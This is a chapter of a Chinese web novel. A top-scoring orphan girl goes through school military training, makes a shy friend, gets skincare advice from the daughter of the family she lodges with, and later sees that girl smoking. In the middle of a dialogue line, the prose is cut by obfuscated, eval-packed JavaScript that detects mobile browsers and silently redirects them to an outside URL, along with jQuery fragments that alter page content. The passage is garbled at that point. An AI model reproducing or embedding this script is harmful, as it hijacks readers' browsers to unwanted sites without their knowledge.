苏暗的发言过程不算顺利，即便下台后她捡回了自己的帽子，但对这件事还是耿耿于怀。


    在某些事上她有些迷信，开学第一天发生了不太顺利的事，很有可能她这三年都会充满波折。


    可苏暗最希望平稳度过的就是这三年。


    苏暗回到原位后，周边有同学投来或是艳羡或是鄙夷的目光，已经有人知道她是今年的中考状元，都对她产生了学霸滤镜。


    苏暗却恨不得在人群中隐身，幸好台上的流程仍在继续，大家像看猴子似的看了她一会儿也就移开了视线。


    一上午就这么过去。


    下午军训正式开始，（3）班跟（4）班并班训练，教官是从隔壁市陆军部队调来的，身姿挺拔，皮肤黝黑，却长着一口大白牙，说话一股东北音，为人爽朗，但让她们站军姿的时候也是真的狠。


    午后两点半，让所有人集合以后拉到太阳底下就开始教她们站军姿。


    教官一个一个地去纠正，烈日炎炎，所有人都变成了苦瓜脸，但没人敢叫苦，隔壁班有人跟教官顶嘴被罚站了一百个俯卧撑。


    苏暗站在人群里，军姿站得不算标准，但没有偷懒。


    严格来说，苏暗除了在学习方面拔尖外，其他方面都很平平无奇，扔到人群里都不会被注意到。


    休息时，同学们迅速坐下，不到一天，外向的同学已经交到了朋友，一边揉着腿一边拎着包翻找防晒，开始补防晒。


    苏暗就安静地坐在角落里，隔了会儿有人过来戳戳她，“你要涂吗？”


    是陈诗情。


    苏暗缓缓摇头，“不用了，谢谢。”


    陈诗情缩回手，“哦。”


    陈诗情是个安静内敛的人，能鼓起勇气跟苏暗说这么一句已经很了不起，被拒绝后也坐到一边没了动静。


    但苏暗觉得自己这样未免有些不太合群，所有人都在交朋友，唯独她孤身一人，很容易引起大家的关注。


    所以在短暂思考后，走到了陈诗情身边：“你累吗？”


    “还好。”陈诗情戴着黑框眼镜，清瘦的脸上有几颗青春痘，但五官很耐看，说话时声音很低：“你是不是不喜欢别人打扰你？”


    “还好。”苏暗朝她笑了笑：“等会儿休息的时候去小卖铺吗？”


    陈诗情闻言眼睛一亮：“好呀。”


    就这样，苏暗在二中交到了自己的第一个朋友。


    成为了“大众”的一分子。


    幸好，陈诗情是个非常内向的人，她可以一天不说一句话，两个人凑在一起不用说话也很舒服。


    军训的日子枯燥又无聊，苏暗习惯跑步，所以每天的训练都不算太累。


    但是很快，她发现自己晒黑了。


    白皙的脸上有了几颗很小的雀斑，晚上苏暗洗完脸照镜子的时候皱了皱眉，回到房间后拿出了黎青禾给她的那管防晒，挤了黄豆粒大小涂在脸上。


    苏暗没怎么用过化妆品，也是第一次用防晒，以前她不怎么晒太阳。


    她的护肤品大多是街上美妆店里一块钱一袋的郁美净，一次买好几袋能用小半年。


    第一次涂上防晒照了照镜子，感觉自己的脸瞬间变白了些。


    苏暗想，不愧是大几百一小管的东西。


    晚上她做完题去客厅接水喝，正喝着黎青禾房间的门打开，苏暗缩在角落里看着她窈窕的侧影，黎青禾也看到了她。


    脖子和脸完全不是一个肤色，把黎青禾吓了一跳。


    苏暗喝完了水，低头跟她打了个招呼就准备回房间，结果两人刚好在浴室口碰到。


    准确来说是黎青禾专门等在那儿，有了光线，黎青禾看到了她的脸。


    “你还没洗漱？”黎青禾问。


    苏暗怔了下：“洗过了。”


    黎青禾忽然掐着她的下巴，指腹在她下巴处摩挲，眉头微蹙地看着指腹上油光发白的东西：“那你没卸妆？”


    “卸妆？”苏暗怔住：“什么意思？”


    黎青禾笑了：“就这？学霸？”


    苏暗抿唇不语。


    黎青禾从洗漱台下的抽屉里翻出个卸妆油的小样扔给她，“涂完防晒以后记得用这个和洗面奶洗了脸，不然会烂脸。”


    苏暗仍旧没说话，几秒后黎青禾说：“你不会没洗面奶吧？”


    苏暗嗯了声：“用舒肤佳也洗得很干净。”


    “那你脸不干？”黎青禾是真的有些震惊了。


    毕竟从她初中起，她那个很时尚的小姨就会给她买洗面奶、护肤品，怕她青春期长痘会留下印记，也幸好她的皮肤争气，没起过青春痘。


    但她不敢相信，到现在竟然还有人用香皂洗脸。


    “还好。”苏暗说：“冬天的时候擦点郁美净或者凡士林就行了。”


    黎青禾：“……”


    几秒后，黎青禾又从抽屉里翻出一个洗面奶小样扔给她。


    “自己去百度用法。”黎青禾不耐烦地关上门：“等会儿把你脸上那些洗了，防晒不能晚上涂。”


    苏暗拿着她给的小样，上网搜了搜品牌和用法。


    一个植村秀的琥珀卸妆油，HR的洗面奶小样，两个加起来能买一大箱舒肤佳，够孤儿院的小朋友用一年。


    苏暗搜完用法，等黎青禾从浴室出来后，又去卫生间用卸妆油和洗面奶洗了脸，洗完以后用毛巾擦了脸，还专门皱了皱鼻子，皮肤确实不干。


    果然，价格贵有价格贵的道理。


    但苏暗脸上晒出来的小雀斑却没办法消掉了。


    第二天早上军训前，苏暗也开始涂了防晒，陈诗情过来看见她拿的防晒，低声说：“你最近不要用这个。”


    苏暗一怔：“为什么？”


    “这个很贵。”陈诗情说：“大家都在说你…… ”


    说到一半有些难以启齿，不忍伤害朋友。


    “说我什么？很穷？”苏暗问。


    陈诗情点了点头：“说你是孤儿院出来的，但你用这么贵的东西，她们会臆测你的钱是从哪来的……”


    苏暗垂下眼，稍有些大声地说：“别人送的。”


    午饭时陈诗情给她道歉，苏暗无所谓地回答：“说这些话的人又不是你，你只是提醒我，又没做错。”


    陈诗情轻呼出一口气：“你没生气就好。”


    跟陈诗情熟了以后，她的话也慢慢变多，会跟苏暗讲一些八卦，跟苏暗说最近流行的东西，陈诗情的爱好很广泛，追星、追剧，还喜欢看耽美小说，苏暗不知道什么是耽美小说。


    陈诗情凑到她耳边解释：“就是两个男的谈恋爱。”


    “那两个女的谈恋爱的小说呢？”苏暗问。


    “百合。”陈诗情讶异：“你也喜欢看吗？”


    苏暗缓缓摇头：“没看过。”


    陈诗情成为了苏暗的情报站和电子眼，慢慢地，她没刚认识时那么安静了，但她很有眼色，在苏暗做题的时候从来不会打扰，所以每天的晚自习，苏暗都过得很安静又充实。


    军训汇演时，苏暗在台上看到了很久没见的周倾，她坐在二中的正副校长中间，祥和但有威严，也是给军训队伍打分的评委。


    为了这一次汇演，苏暗她们每天光练习左右后转就三个多小时，但最后效果并不显著，她们只得了一个优秀奖。


    获得这个奖的有四个班，类似于最佳参与奖。


    但这场军训让她们班很多人都交到了（4）班的朋友。


    在汇演结束后，校长邀请周倾讲话，苏暗仰起头看着站在台上的身影，觉得那道身影很伟岸。


    或许她不是一个优秀的妈妈，但她一定是很优秀的教育局副局长。


    而她身边有个男生跟身边朋友八卦：“她女儿也在咱们学校，就在高二，长得可好看了。”


    “学习一定很好吧？”朋友说：“都是局长的女儿了。”


    “听说很差，不过人家也无所谓，都有这样的妈了还那么努力干什么？”


    “倒也是，那要追到她不久这辈子都不用努力了？”


    “看你那丑样，人家看不上好吧？要追也得是我这样的……”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160121|165036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ……”


    苏暗听着不由得转头看了眼隔壁讨论的两个男生，个子都不算高，跟苏暗差不多，长相不说俊美，起码够得上丑陋。


    而且丑得很平均，处于半斤八两的水平。


    所以到底是谁给他们的自信？


    苏暗莫名地想起黎青禾说的那句，“你不配成为我的东西。”


    那这两个男的配吗？


    苏暗想起黎青禾的脸，试着想象了一下黎青禾身边站着这两男的其中之一……简直是对黎青禾的亵渎。


    之后的时间里苏暗都在神游，直到周倾发言结束，底下响起雷鸣般的掌声。


    苏暗也收起了那些杂乱无章的心思。


    最近黎青禾并没有那么排斥她，跟她说话时语气也没最初那么冷了，应该是已经接受了她会在黎家借住三年的事实。


    但苏暗仍旧需要跟她打好关系。


    想太多，并不好。


    中午吃饭时，陈诗情端着餐盘和苏暗坐在边缘的位置，苏暗正埋头吃饭，陈诗情忽地低声说：“他们过来了。”


    苏暗一怔：“谁？”


    而后顺着陈诗情的视线看过去，就看见穿着校服的黎青禾和另一个走路吊儿郎当的男生并肩朝她们这边走来。


    黎青禾的视线顺带落在她身上，对视之后，苏暗低头继续吃饭。


    那个男的苏暗见过，那天晚上在公园跟黎青禾一起说笑的痞子哥。


    没想到也是二中的。


    苏暗忽然就对覃晶说的那句“二中也有很多混混”有了实感。


    她们在不远处的桌前落座，黎青禾看起来很挑食，陈诗情则低声跟苏暗科普：“他们是咱们学校不能惹的人物之首，一个有教育局局长的爸，一个有教育局副局长的妈，不管怎么惹事都不会被开除的。”


    苏暗没有接陈诗情的话茬，陈诗情也说得没了兴趣，及时收口。


    等吃完饭从食堂出来，苏暗忽地问陈诗情：“他们在谈恋爱吗？”


    陈诗情有些失落地应了声：“嗯，听说是的，青梅竹马，门当户对。”


    苏暗漫不经心：“哦。”


    但她却在想，这事儿周女士和黎先生知道吗？


    黎青禾确实挺叛逆的，早恋喝酒，就差抽烟打架了，坏学生标配她直接占了俩。


    ……


    下午仍旧没开始正经上课，重新选了班委，发了还没发完的书，重新分配了座位。


    可能是缘分，苏暗还和陈诗情同桌，不过她们的座位换到了第二排。


    苏暗把所有的书都包上书皮，又在新书上写好名字，陈诗情看她的字好看，请她帮忙给自己写名字。


    苏暗顺手帮了这个忙，陈诗情笑着说：“那我明早请你吃早餐。”


    “我会在家里吃。”苏暗说。


    陈诗情笑眯眯地：“你早几分钟来，我把早餐给你带来学校。”


    二中很人性化的一点是高一高二没早自习，早上七点半到校晨跑二十分钟，结束后八点上课。


    这一项措施也是在周倾成为副局长后成功实施的，在这项举措实施后，学生的学习效率高了不少。


    苏暗答应了陈诗情的邀请。


    这几天苏暗每天早上都会在楼下买早餐回去，不管黎青禾吃不吃，她都会买两份，但大部分情况下黎青禾都拿走了。


    晚上回去时苏暗在公交上还遇到了黎青禾，她仍旧戴着耳机坐后排靠窗的位置，苏暗挤在人群里，下车时她往黎青禾那个方向看了眼，黎青禾已经站在了她身后。


    下车后黎青禾并没有往家的方向走，而是走了反方向的路，校服外套系在腰上，走到一个灰暗的小巷子里。


    苏暗跟着她走了几步，顿觉方向不对，转身前就看见黎青禾倚在巷子边，双指夹着一支烟咬在齿间，一簇火苗亮起。


    黎青禾那张脸落在夕阳的阴影里，烟雾从她的侧面飘起，把她整个人的轮廓都映照得更绮丽。


    苏暗多看了几眼。


    下一秒，黎青禾若有所感地抬眼，隔着几十米的距离，遥遥相视。